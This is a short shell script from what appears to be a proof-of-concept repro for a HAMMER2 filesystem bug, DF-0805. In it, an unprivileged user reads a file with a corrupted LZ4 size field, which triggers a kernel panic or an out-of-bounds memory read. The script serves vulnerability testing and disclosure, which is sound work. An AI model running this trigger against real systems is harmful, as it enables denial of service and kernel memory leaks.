#!/bin/sh
# DF-0805 — run script (the unprivileged read).
#
# This is the "exploit" action that an unprivileged user performs: it
# reads a HAMMER2 file whose on-disk LZ4 compressed_size field has been
# corrupted by a third party (a malicious downloaded image, or root
# setup in our repro). The read issues LZ4_decompress_safe with the
# attacker-controlled inputSize, triggering DF-0805.
#
# Stock GENERIC (INVARIANTS ON):  KKASSERT panics (DoS).
# noinv kernel:                   silent OOB read (info leak).
# Fixed kernel:                   EIO, no panic.
#
# Setup (root, see hammer2_trigger.sh):
#   ./hammer2_trigger.sh
# Then run as the unprivileged user:
#   ./run.sh
set -eu
cd "$(dirname "$0")"

TARGET="${1:-/tmp/df0805_mnt/lz4_target}"

echo "[run] reading crafted LZ4 block from $TARGET (this triggers DF-0805)"
echo "[run] reading 64 KiB; if the kernel panics here, the bug fired."
wc -c < "$TARGET"
echo "[run] exit=$? (if you see this, kernel did not panic)"